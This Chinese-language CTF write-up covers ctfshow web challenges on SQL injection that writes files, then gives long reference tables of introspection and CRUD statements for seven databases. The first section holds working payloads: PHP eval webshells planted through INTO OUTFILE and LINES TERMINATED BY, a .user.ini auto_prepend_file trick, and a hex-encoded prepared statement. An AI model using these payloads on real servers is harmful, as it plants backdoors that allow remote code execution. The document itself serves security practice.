这里以ctfshow-web224为例
参考文章:ctf.show
登录成功之后题目如下:

写入文件mysql马即可
1 | C64File "');select 0x3c3f3d406576616c28245f504f53545b315d293b3f3e into outfile '/var/www/html/1.php';--+ |

可以看到最后一个文件类型是我们上传的这个txt,被识别为PC64了
拿到webshell之后可以看到后端代码

关键就在这个filetype被我们控制从而造成了写马成功
file语句写马
file的基本用法
这里以ctfshow-web242为例,题目如下:

查询语句一个表的所有数据,并且其写入一个目录文件中,返回逻辑无waf过滤
file的用法如下:
1 | SELECT 列1, 列2, ... |
| 子句 | 说明 |
|---|---|
FIELDS TERMINATED BY |
设置字段之间的分隔符,默认是制表符 \t。 |
FIELDS ENCLOSED BY |
用指定字符括住所有字段的值。 |
FIELDS OPTIONALLY ENCLOSED BY |
只括住字符型字段(如 CHAR、VARCHAR、TEXT 等)。 |
FIELDS ESCAPED BY |
设置转义字符,用于处理特殊字符。 |
LINES STARTING BY |
设置每行开头的字符。 |
LINES TERMINATED BY |
设置行结束符,默认是 \n。 |
导出示例
1 | SELECT id, username, email, age |
回到题目,这里我们直接在每行末尾加上webshell即可,payload如下:
1 | file.php' LINES TERMINATED BY '<?=@eval($_POST[1]);?>'# |
上传配置文件写马
这里以ctfshow-web243为例,题目如下:

用于php字符存在过滤的情况:
简单来说就是先上传配置文件(nginx是.user.ini,apache2是.htaccess),在配置文件允许加载index.php时先添加我们的木马,从而达到实现webshell的目的,这个具体的点是在于文件上传
上传配置文件(其中在每行开头加了;用于注释掉从表ctfshow_user中读出的内容):
1 | filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;# |
再上传图片马即可
1 | filename=1.jpg' LINES TERMINATED BY '<?=eval($_POST[1]);?>'# |
不同数据库之间的所需权限不同
| 数据库 | 写马方法 | 特殊限制 |
|---|---|---|
| MySQL | INTO OUTFILE、日志文件 |
secure_file_priv配置 |
| SQL Server | xp_cmdshell+echo命令、差异备份 |
需开启xp_cmdshell |
| Oracle | 用UTL_FILE包、Java写文件 | 需DBA权限和目录对象 |
| PostgreSQL | COPY ... TO、大对象写入 |
需超级用户权限 |
| Access | 几乎无法写马 | 无文件操作函数 |
奇怪但可能有用
mysql的存储过程
这里以ctfshow-web227为例,题目如下:
绕过是与上一题一样,都是使用预编译和编码绕过,但是flag不存在表中,而是存在于mysql的存储过程中,这里对存储过程的定义是保存起来、可以反复调用的SQL代码片段,类似于预编译,但是是永久保存起来的
这题就把flag存放于存储过程中了,这个会被记录在mysql的系统数据库中information_schema的Routines表中
1 | user1';prepare stmt from 0x53454c454354202a2046524f4d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;execute stmt; |
常用数据库的基本属性
MySQL/MariaDB
| 属性/功能 | 查询命令 | 示例/说明 |
|---|---|---|
| 当前数据库 | SELECT DATABASE(); |
返回当前连接的数据库名 |
| 数据库版本 | SELECT VERSION(); |
返回MySQL版本信息 |
| 服务器状态 | SHOW STATUS; |
显示服务器状态变量 |
| 当前用户 | SELECT USER(); 或 SELECT CURRENT_USER(); |
返回当前登录用户 |
| 连接ID | SELECT CONNECTION_ID(); |
当前连接的ID |
| 最后插入ID | SELECT LAST_INSERT_ID(); |
最后自动生成的AUTO_INCREMENT值 |
| 字符集 | SHOW VARIABLES LIKE 'character_set%'; |
显示字符集设置 |
| 存储引擎 | SHOW ENGINES; |
显示支持的存储引擎 |
| 进程列表 | SHOW PROCESSLIST; |
显示当前连接和进程 |
| 系统变量 | SHOW VARIABLES; |
显示所有系统变量 |
PostgreSQL
| 属性/功能 | 查询命令 | 示例/说明 |
|---|---|---|
| 当前数据库 | SELECT current_database(); |
返回当前数据库名 |
| 数据库版本 | SELECT version(); |
返回PostgreSQL版本 |
| 当前用户 | SELECT current_user; |
当前登录用户名 |
| 会话用户 | SELECT session_user; |
会话用户名 |
| 连接信息 | SELECT inet_server_addr(), inet_server_port(); |
服务器地址和端口 |
| 当前模式 | SELECT current_schema(); |
当前使用的模式 |
| 字符编码 | SHOW server_encoding; |
服务器字符编码 |
| 时区 | SHOW timezone; |
当前时区设置 |
| 活跃连接 | SELECT * FROM pg_stat_activity; |
查看活跃连接 |
| 数据库列表 | SELECT datname FROM pg_database; |
所有数据库列表 |
SQL Server
| 属性/功能 | 查询命令 | 示例/说明 |
|---|---|---|
| 当前数据库 | SELECT DB_NAME(); |
当前数据库名称 |
| 数据库版本 | SELECT @@VERSION; |
SQL Server版本信息 |
| 服务器名称 | SELECT @@SERVERNAME; |
服务器实例名称 |
| 服务名称 | SELECT @@SERVICENAME; |
SQL Server服务名称 |
| 当前用户 | SELECT SUSER_NAME(); 或 SELECT SYSTEM_USER; |
当前登录用户 |
| 会话ID | SELECT @@SPID; |
当前会话ID |
| 语言设置 | SELECT @@LANGUAGE; |
当前语言设置 |
| 连接数 | SELECT * FROM sys.dm_exec_sessions; |
查看会话信息 |
| 数据库ID | SELECT DB_ID(); |
当前数据库ID |
| 最近错误 | SELECT @@ERROR; |
最后执行的错误号 |
Oracle
| 属性/功能 | 查询命令 | 示例/说明 |
|---|---|---|
| 实例信息 | SELECT * FROM v$instance; |
实例详细信息 |
| 数据库信息 | SELECT * FROM v$database; |
数据库信息 |
| 版本信息 | SELECT * FROM v$version; |
数据库版本 |
| 当前用户 | SELECT USER FROM DUAL; |
当前用户名 |
| 实例名称 | SELECT INSTANCE_NAME FROM v$instance; |
实例名 |
| 主机名 | SELECT HOST_NAME FROM v$instance; |
主机名 |
| 会话信息 | SELECT sid, serial#, username FROM v$session; |
会话信息 |
| 当前会话 | SELECT sys_context('USERENV','SID') FROM DUAL; |
当前会话ID |
| 服务名称 | SELECT sys_context('USERENV','SERVICE_NAME') FROM DUAL; |
服务名 |
| 字符集 | SELECT * FROM nls_database_parameters WHERE parameter LIKE '%CHARACTERSET'; |
字符集设置 |
SQLite
| 属性/功能 | 查询命令/方法 | 示例/说明 |
|---|---|---|
| 数据库版本 | SELECT sqlite_version(); |
SQLite版本 |
| 编译选项 | PRAGMA compile_options; |
编译时选项 |
| 数据库大小 | .databases (CLI命令) |
显示附加的数据库 |
| 表列表 | .tables (CLI命令) |
显示所有表 |
| 当前时间 | SELECT datetime('now'); |
当前日期时间 |
| 编码格式 | PRAGMA encoding; |
数据库编码 |
| 外键状态 | PRAGMA foreign_keys; |
外键约束状态 |
| 自动清理 | PRAGMA auto_vacuum; |
自动清理设置 |
| 内存使用 | PRAGMA page_count * PRAGMA page_size; |
计算数据库大小 |
| 最后错误 | 程序API获取 | 通过API获取错误信息 |
MongoDB (NoSQL)
| 属性/功能 | 查询命令 | 示例/说明 |
|---|---|---|
| 当前数据库 | db.getName() |
当前数据库名称 |
| 数据库版本 | db.version() |
MongoDB版本 |
| 服务器状态 | db.serverStatus() |
服务器状态信息 |
| 主机信息 | db.hostInfo() |
主机系统信息 |
| 连接信息 | db.currentOp() |
当前操作信息 |
| 数据库列表 | show dbs 或 db.adminCommand({listDatabases: 1}) |
显示所有数据库 |
| 集合统计 | db.collection.stats() |
集合统计信息 |
| 用户信息 | db.getUser(username) |
获取用户信息 |
| 复制集状态 | rs.status() |
复制集状态 |
| 分片状态 | sh.status() |
分片集群状态 |
Redis (键值存储)
| 属性/功能 | 查询命令 | 示例/说明 |
|---|---|---|
| 服务器信息 | INFO |
全面的服务器信息 |
| 数据库大小 | DBSIZE |
当前数据库键数量 |
| 服务器时间 | TIME |
服务器当前时间 |
| 配置信息 | CONFIG GET * |
获取所有配置 |
| 客户端列表 | CLIENT LIST |
连接的客户端信息 |
| 内存信息 | INFO memory |
内存使用情况 |
| 持久化信息 | INFO persistence |
RDB/AOF信息 |
| 复制信息 | INFO replication |
主从复制信息 |
| 慢查询日志 | SLOWLOG GET |
获取慢查询日志 |
| 监控命令 | MONITOR |
实时监控所有命令 |
常见数据库的增删改查语句
MySQL/MariaDB
| 操作 | 语句示例 | 说明 |
|---|---|---|
| 创建表 | CREATE TABLE users (id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(50), age INT); |
创建users表 |
| 插入数据 | INSERT INTO users (name, age) VALUES ('张三', 25);into可选,如过滤可不加,如:INSERT users (name, age) VALUES ('张三', 25); |
插入单条数据 |
| 批量插入 | INSERT INTO users (name, age) VALUES ('李四', 30), ('王五', 28);into可选,如过滤可不加,如:INSERT users (name, age) VALUES ('李四', 30), ('王五', 28); |
插入多条数据 |
| 查询数据 | SELECT * FROM users WHERE age > 25; |
查询年龄大于25的用户 |
| 更新数据 | UPDATE users SET age = 26 WHERE name = '张三'; |
更新张三的年龄 |
| 删除数据 | DELETE FROM users WHERE id = 1; |
删除ID为1的用户 |
| 删除表 | DROP TABLE users; |
删除users表 |
| 条件查询 | SELECT name, age FROM users WHERE age BETWEEN 20 AND 30 ORDER BY age DESC; |
查询20-30岁用户,按年龄降序 |
| 连表查询 | SELECT u.name, o.order_no FROM users u JOIN orders o ON u.id = o.user_id; |
用户和订单关联查询 |
| 分页查询 | SELECT * FROM users LIMIT 10 OFFSET 20; |
分页查询(第3页,每页10条) |
PostgreSQL
| 操作 | 语句示例 | 说明 |
|---|---|---|
| 创建表 | CREATE TABLE users (id SERIAL PRIMARY KEY, name VARCHAR(50), age INTEGER); |
创建users表,SERIAL是自增类型 |
| 插入数据 | INSERT INTO users (name, age) VALUES ('张三', 25); |
插入单条数据 |
| 批量插入 | INSERT INTO users (name, age) VALUES ('李四', 30), ('王五', 28); |
插入多条数据 |
| 查询数据 | SELECT * FROM users WHERE age > 25; |
查询年龄大于25的用户 |
| 更新数据 | UPDATE users SET age = 26 WHERE name = '张三'; |
更新张三的年龄 |
| 删除数据 | DELETE FROM users WHERE id = 1; |
删除ID为1的用户 |
| 删除表 | DROP TABLE users; |
删除users表 |
| JSON查询 | SELECT * FROM users WHERE info->>'city' = '北京'; |
查询JSON字段 |
| 窗口函数 | SELECT name, age, RANK() OVER (ORDER BY age DESC) FROM users; |
使用窗口函数排名 |
| 分页查询 | SELECT * FROM users LIMIT 10 OFFSET 20; |
分页查询 |
SQL Server
| 操作 | 语句示例 | 说明 |
|---|---|---|
| 创建表 | CREATE TABLE users (id INT IDENTITY(1,1) PRIMARY KEY, name NVARCHAR(50), age INT); |
IDENTITY表示自增 |
| 插入数据 | INSERT INTO users (name, age) VALUES ('张三', 25); |
插入单条数据 |
| 批量插入 | INSERT INTO users (name, age) VALUES ('李四', 30), ('王五', 28); |
SQL Server 2008+支持 |
| 查询数据 | SELECT * FROM users WHERE age > 25; |
查询年龄大于25的用户 |
| 更新数据 | UPDATE users SET age = 26 WHERE name = '张三'; |
更新张三的年龄 |
| 删除数据 | DELETE FROM users WHERE id = 1; |
删除ID为1的用户 |
| 删除表 | DROP TABLE users; |
删除users表 |
| 分页查询 | SELECT * FROM users ORDER BY id OFFSET 20 ROWS FETCH NEXT 10 ROWS ONLY; |
SQL Server 2012+的分页语法 |
| TOP查询 | SELECT TOP 10 * FROM users ORDER BY age DESC; |
查询前10条 |
| 存储过程 | EXEC sp_rename 'old_table', 'new_table'; |
执行存储过程 |
Oracle
| 操作 | 语句示例 | 说明 |
|---|---|---|
| 创建表 | CREATE TABLE users (id NUMBER GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY, name VARCHAR2(50), age NUMBER); |
Oracle 12c+的自增语法 |
| 插入数据 | INSERT INTO users (name, age) VALUES ('张三', 25); |
插入单条数据 |
| 批量插入 | INSERT ALL INTO users (name, age) VALUES ('李四', 30) INTO users (name, age) VALUES ('王五', 28) SELECT 1 FROM DUAL; |
Oracle批量插入 |
| 查询数据 | SELECT * FROM users WHERE age > 25; |
查询年龄大于25的用户 |
| 更新数据 | UPDATE users SET age = 26 WHERE name = '张三'; |
更新张三的年龄 |
| 删除数据 | DELETE FROM users WHERE id = 1; |
删除ID为1的用户 |
| 删除表 | DROP TABLE users; |
删除users表 |
| 分页查询 | SELECT * FROM (SELECT t.*, ROWNUM rn FROM (SELECT * FROM users ORDER BY id) t WHERE ROWNUM <= 30) WHERE rn > 20; |
Oracle传统分页 |
| 序列使用 | INSERT INTO users (id, name, age) VALUES (user_seq.NEXTVAL, '张三', 25); |
使用序列插入 |
| MERGE语句 | MERGE INTO users u USING (SELECT '张三' name FROM DUAL) s ON (u.name = s.name) WHEN MATCHED THEN UPDATE SET age = 27 WHEN NOT MATCHED THEN INSERT (name, age) VALUES (s.name, 25); |
MERGE操作 |
SQLite
| 操作 | 语句示例 | 说明 |
|---|---|---|
| 创建表 | CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, age INTEGER); |
AUTOINCREMENT表示自增 |
| 插入数据 | INSERT INTO users (name, age) VALUES ('张三', 25); |
插入单条数据 |
| 批量插入 | INSERT INTO users (name, age) VALUES ('李四', 30), ('王五', 28); |
插入多条数据 |
| 查询数据 | SELECT * FROM users WHERE age > 25; |
查询年龄大于25的用户 |
| 更新数据 | UPDATE users SET age = 26 WHERE name = '张三'; |
更新张三的年龄 |
| 删除数据 | DELETE FROM users WHERE id = 1; |
删除ID为1的用户 |
| 删除表 | DROP TABLE users; |
删除users表 |
| 命令行操作 | .mode column .headers on SELECT * FROM users; |
SQLite命令行格式化 |
| 导入导出 | .output data.txt SELECT * FROM users; .output stdout |
导出数据到文件 |
| 附加数据库 | ATTACH DATABASE 'other.db' AS other; |
附加其他数据库 |
MongoDB (NoSQL)
| 操作 | 语句示例 | 说明 |
|---|---|---|
| 创建集合 | db.createCollection("users"); |
创建users集合(表) |
| 插入文档 | db.users.insertOne({name: "张三", age: 25, city: "北京"}); |
插入单个文档 |
| 批量插入 | db.users.insertMany([{name: "李四", age: 30}, {name: "王五", age: 28}]); |
插入多个文档 |
| 查询文档 | db.users.find({age: {$gt: 25}}); |
查询年龄大于25的文档 |
| 条件查询 | db.users.find({age: {$gt: 20, $lt: 30}, city: "北京"}); |
多条件查询 |
| 更新文档 | db.users.updateOne({name: "张三"}, {$set: {age: 26}}); |
更新单个文档 |
| 删除文档 | db.users.deleteOne({name: "张三"}); |
删除单个文档 |
| 删除集合 | db.users.drop(); |
删除users集合 |
| 聚合查询 | db.users.aggregate([{$match: {age: {$gt: 25}}}, {$group: {_id: "$city", count: {$sum: 1}}}]); |
聚合查询 |
| 索引创建 | db.users.createIndex({name: 1}); |
创建索引 |
| 排序分页 | db.users.find().sort({age: -1}).skip(20).limit(10); |
排序和分页 |
Redis (键值存储)
| 操作 | 语句示例 | 说明 |
|---|---|---|
| 设置字符串 | SET user:1 "{\"name\":\"张三\",\"age\":25}" |
设置键值对 |
| 获取字符串 | GET user:1 |
获取键对应的值 |
| 设置哈希 | HSET user:1 name "张三" age 25 city "北京" |
设置哈希字段 |
| 获取哈希 | HGET user:1 name 或 HGETALL user:1 |
获取哈希字段或全部 |
| 列表操作 | LPUSH users "张三" RPUSH users "李四" LRANGE users 0 -1 |
列表操作 |
| 集合操作 | SADD tags "python" "mysql" "redis" SMEMBERS tags |
集合操作 |
| 有序集合 | ZADD scores 95 "张三" 88 "李四" ZRANGE scores 0 -1 WITHSCORES |
有序集合操作 |
| 删除键 | DEL user:1 |
删除键 |
| 过期设置 | SETEX session:abc 3600 "user_data" |
设置带过期时间的键 |
| 批量操作 | MSET user:1 "张三" user:2 "李四" MGET user:1 user:2 |
批量设置和获取 |
| 发布订阅 | PUBLISH news "hello" SUBSCRIBE news |
发布订阅模式 |
| 事务操作 | MULTI SET a 1 SET b 2 EXEC |
事务操作 |






